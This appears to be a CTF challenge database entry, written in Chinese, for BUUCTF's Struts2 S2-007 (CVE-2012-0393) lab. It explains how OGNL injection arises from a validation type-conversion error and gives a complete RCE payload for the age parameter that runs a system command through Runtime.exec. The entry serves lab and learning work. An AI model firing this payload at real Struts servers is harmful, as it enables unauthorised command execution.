| ID: | 7449 |
|---|---|
| 标题: | [struts2]s2-007 |
| 描述: | https://github.com/vulhub/vulhub/tree/master/struts2/s2-007 |
| 类型: | Real |
| 网站: | BUUCTF |
| 题目链接: | https://buuoj.cn/challenges#[struts2]s2-007 |
| 赛事: | struts2 |
| 年度: | None |
| Flag值: | 无:漏洞编号S2-007(或称CVE-2012-0393),是一个存在于Apache Struts 2.0.0至2.2.3版本中的远程代码执行(RCE)漏洞。漏洞的核心成因是:当应用配置了XML验证规则(如UserAction-validation.xml),且表单字段(如age字段)的类型转换出错(例如,在期望输入整数时提交了字符串),后端会错误地将用户输入拼接单引号(如' + value + '),然后对该拼接后的字符串进行OGNL表达式解析,导致攻击者可以注入并执行任意OGNL代码 1 2 3 5 6。典型的利用方式是构造一个包含恶意OGNL表达式的age参数值,例如' + (#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + ' 2 3 5 6,从而在服务器上执行任意系统命令。 |
| writeup: | 验证后的网址:https://blog.csdn.net/sycamorelg/article/details/117567176 |